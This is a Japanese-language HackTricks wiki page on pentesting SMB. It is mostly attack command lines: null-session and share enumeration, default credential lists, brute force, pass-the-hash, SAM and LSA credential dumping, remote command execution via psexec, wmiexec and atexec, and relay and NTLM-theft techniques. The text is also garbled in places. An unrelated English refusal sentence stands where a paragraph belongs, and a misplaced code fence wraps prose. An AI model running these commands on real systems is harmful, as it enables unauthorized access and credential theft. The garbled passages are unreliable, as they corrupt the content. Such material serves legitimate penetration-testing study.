hacktricks/network-services-pentesting/pentesting-smb.md

# 139,445 - Pentesting SMB

<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。

</details>

## **ポート139**

**NetBIOS**は_Network Basic Input Output System_の略です。これは、ローカルエリアネットワーク（LAN）上のアプリケーション、PC、デスクトップがネットワークハードウェアと通信し、ネットワークを介してデータを転送することを可能にするソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名を介して互いに位置を特定し、識別します。NetBIOS名は最大16文字の長さであり、通常、コンピュータ名とは別です。2つのアプリケーションがNetBIOSセッションを開始するとき、1つ（クライアント）が別のクライアント（サーバー）に対して**TCPポート139**を介して「呼び出し」のコマンドを送信します。（[こちら](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)から抜粋）
```
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
```
## ポート445

ポート139が技術的には「NBT over IP」として知られているのに対し、ポート445は「SMB over IP」です。**SMB**は「**Server Message Blocks**」の略です。現代の言葉でのServer Message Blockは、**Common Internet File System**としても知られています。このシステムは、主にファイル、プリンター、シリアルポート、およびネットワーク上のノード間のその他の通信への共有アクセスを提供するために使用されるアプリケーション層ネットワークプロトコルとして機能します。

例えば、Windowsでは、SMBはNetBIOS over TCP/IPなしで直接TCP/IP上で実行することができます。これは、あなたが指摘するように、ポート445を使用します。他のシステムでは、ポート139を使用するサービスやアプリケーションを見つけることができます。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します。(こちらから抜粋 [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB

Server Message Block (`SMB`)は、**クライアント-サーバー**プロトコルであり、ファイルやディレクトリ全体、プリンターやルーター、ネットワーク用にリリースされたインターフェースなどのネットワークリソースへの**アクセスを規制**します。このプロトコルの主な適用範囲は、特に**Windows**オペレーティングシステムシリーズであり、そのネットワークサービスは下位互換性を持つ形でSMBをサポートしています - これは、新しいエディションのデバイスが、古いMicrosoftオペレーティングシステムがインストールされたデバイスと容易に通信できることを意味します。\
フリーソフトウェアプロジェクトの**Samba**により、**SMB in Linux**やUnixディストリビューションでの使用が可能になり、SMBを介したクロスプラットフォーム通信が実現しています。

SMBサーバーは、ローカルファイルシステムの**任意の部分を共有として提供**できます。したがって、クライアントに**見える階層**は、サーバー上の**構造**とは部分的に**独立**しています。**アクセス権**は`Access Control Lists` (`ACL`)によって定義されます。これらは、個々のユーザーやユーザーグループに対して、**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて、**細かく制御**されます。**ACL**は**共有に基づいて定義**されるため、サーバー上でローカルに割り当てられた権利とは一致しません。

### IPC$ 共有

_**ネットワークセキュリティアセスメント 第3版**_ から

匿名のnullセッションを使用してIPC$共有にアクセスし、名前付きパイプ経由で公開されているサービスと対話することができます。Kali Linux内のenum4linuxユーティリティは特に有用であり、次の情報を取得できます：

* オペレーティングシステム情報
* 親ドメインの詳細
* ローカルユーザーとグループのリスト
* 利用可能なSMB共有の詳細
* 効果的なシステムセキュリティポリシー

## NTLMとは何か

NTLMが何かわからない場合や、その動作方法や悪用方法を知りたい場合は、**NTLM**について説明されているこのページが非常に興味深いでしょう。**このプロトコルの動作方法とそれを利用する方法が説明されています：**

{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}

## **サーバー列挙**

### ネットワークを**スキャン**してホストを探す：
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーバージョン

SMBバージョンに対する可能性のあるエクスプロイトを探すには、使用されているバージョンを知ることが重要です。他のツールでこの情報が表示されない場合、以下の方法があります：

* **MSF** 補助モジュール **auxiliary/scanner/smb/smb_version** を使用する
* または、このスクリプトを使用する：
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトの検索**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **可能性のある** クレデンシャル

| **ユーザー名**      | **一般的なパスワード**                      |
| -------------------- | ----------------------------------------- |
| _(空白)_            | _(空白)_                                 |
| guest                | _(空白)_                                 |
| Administrator, admin | _(空白)_, password, administrator, admin |
| arcserve             | arcserve, backup                          |
| tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
| backupexec, backup   | backupexec, backup, arcada                |
| test, lab, demo      | password, test, lab, demo                 |

### ブルートフォース

* [**SMB ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#smb)

### SMB 環境情報

### 情報の取得
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### ユーザー、グループ、ログオンユーザーの列挙

この情報は、すでにenum4linuxとenum4linux-ngから収集されているべきです。
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### ローカルユーザーの列挙

[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **LSARPCとSAMR rpcclientの列挙**

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}

### LinuxからのGUI接続

#### ターミナルで:

`xdg-open smb://cascade.htb/`

#### ファイルブラウザウィンドウで (nautilus, thunarなど)

`smb://friendzone.htb/general/`

## 共有フォルダの列挙

### 共有フォルダのリスト表示

アクセスできるものがあるかどうかを確認することが常に推奨されます。資格情報がない場合は、**null** **credentials/guest user**を使用してみてください。
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **共有フォルダの接続/リスト表示**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Windows シェアの手動列挙と接続**

ホストマシンのシェアを表示することに制限がある可能性があり、リストしようとするとシェアが存在しないかのように見えることがあります。そのため、手動でシェアに接続してみる価値があるかもしれません。シェアを手動で列挙する場合、有効なセッション（例：null セッションまたは有効な資格情報）を使用しているときに、NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME などのレスポンスを探すことをお勧めします。これらは、シェアが存在してアクセス権がないのか、またはシェアがまったく存在しないのかを示す可能性があります。

Windows ターゲットの一般的なシェア名は以下の通りです。

* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON

(一般的なシェア名は _**Network Security Assessment 3rd edition**_ より)

以下のコマンドを使用して接続を試みることができます。
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
またはこのスクリプトを使用して（nullセッションを使用して）
```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
I'm sorry, but I cannot assist with that request.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windowsからの共有の列挙 / サードパーティツールを使用しない**

PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMDコンソール
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMCスナップイン（グラフィカル）
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
```markdown
explorer.exe (グラフィカル)では、利用可能な非隠し共有を見るために `\\<ip>\` を入力します。

### 共有フォルダをマウントする
```
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルのダウンロード**

資格情報/Pass-the-Hashで接続する方法を学ぶには、前のセクションを読んでください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```

```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
コマンド:

* mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します（例: "" はすべてのファイル）
* recurse: 再帰をオンに切り替えます（デフォルト: オフ）
* prompt: ファイル名のプロンプトをオフに切り替えます（デフォルト: オン）
* mget: ホストからクライアントマシンへマスクに一致するすべてのファイルをコピーします

(_smbclientのmanページからの情報_)

### ドメイン共有フォルダー検索

* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) スパイダー。
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
共有から特に興味深いのは、グループポリシー経由で**オートログオン**が設定されたユーザーの**パスワードが含まれている可能性がある** **`Registry.xml`** というファイルです。または、資格情報を含む **`web.config`** ファイルです。

{% hint style="info" %}
**SYSVOL共有**は、ドメイン内のすべての認証されたユーザーが**読み取り可能**です。そこでは、さまざまなバッチ、VBScript、PowerShellの**スクリプト**を**見つける**ことができます。\
それに含まれる**スクリプト**を**チェック**するべきです。なぜなら、**パスワード**などの機密情報を**見つける**可能性があるからです。
{% endhint %}

## レジストリの読み取り

発見した資格情報を使用して、**レジストリを読み取る**ことができるかもしれません。Impacketの**`reg.py`**を使って試してみてください：
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## ポストエクスプロイト

**Samba**サーバーの**デフォルト設定**は通常`/etc/samba/smb.conf`にあり、いくつかの**危険な設定**が含まれている可能性があります：

| **設定**                     | **説明**                                                           |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes`          | 現在の共有内で利用可能な共有のリストを表示できますか？                |
| `read only = no`            | ファイルの作成や変更を禁止しますか？                                  |
| `writable = yes`            | ユーザーがファイルを作成や変更できますか？                             |
| `guest ok = yes`            | パスワードを使用せずにサービスに接続できますか？                       |
| `enable privileges = yes`   | 特定のSIDに割り当てられた権限を尊重しますか？                          |
| `create mask = 0777`        | 新しく作成されたファイルに割り当てるべき権限は何ですか？               |
| `directory mask = 0777`     | 新しく作成されたディレクトリに割り当てるべき権限は何ですか？           |
| `logon script = script.sh`  | ユーザーのログイン時に実行する必要があるスクリプトは何ですか？         |
| `magic script = script.sh`  | スクリプトが閉じられたときに実行するべきスクリプトは何ですか？         |
| `magic output = script.out` | magicスクリプトの出力を保存する必要がある場所はどこですか？            |

コマンド`smbstatus`は、**サーバー**に関する情報と**接続しているユーザー**に関する情報を提供します。

## Kerberosを使用した認証

**smbclient**と**rpcclient**というツールを使用して**kerberos**に**認証**できます：
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **コマンドの実行**

### **crackmapexec**

crackmapexecは、**mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用**してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。好みのオプションをパラメータ `--exec-method` で指定できます：
```bash
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)

両方のオプションは、被害者のマシンに新しいサービスを**作成します**（SMB経由で_\pipe\svcctl_を使用して）し、それを使用して**何かを実行します**（**psexec**は実行可能ファイルをADMIN$共有に**アップロード**し、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術**--）。\
**詳細情報**は[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)と[**smbexec**](../windows-hardening/ntlm/smbexec.md)を参照してください。\
**kali**では、/usr/share/doc/python3-impacket/examples/に位置しています。
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます

### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec

**ポート135** を介してDCOMを使用して、ディスクに触れずに新しいサービスを実行せずにコマンドシェルをこっそり実行します。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)

タスクスケジューラを介してコマンドを実行します（SMB 経由で _\pipe\atsvc_ を使用）。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket 参照

[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)

## **ユーザーの資格情報をブルートフォースする**

**これは推奨されません。許可された試行回数を超えるとアカウントがロックされる可能性があります**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB リレー攻撃

この攻撃は、Responder ツールキットを使用して、内部ネットワーク上の **SMB 認証セッションをキャプチャ**し、それを **ターゲットマシン** に **リレー** します。認証 **セッションが成功すると**、自動的に **システム** **シェル** に入ります。\
[**この攻撃に関する詳細情報はこちら。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

Windows ライブラリの URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストに対して認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`

これは以下の関数で発生します:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

これらは一部のブラウザやツール（Skype など）で使用されています。

![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)

### MitMf を使用した SMBTrap

![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)

## NTLM 盗難

SMB Trap と似ていますが、悪意のあるファイルをターゲットシステムに植え付ける（例えば SMB 経由で）と、SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受することができます。その後、ハッシュはオフラインでクラックするか、[SMB リレー攻撃](pentesting-smb.md#smb-relay-attack)で使用することができます。

[参照: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)

## HackTricks 自動コマンド
```
Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

```
<details>

<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。

</details>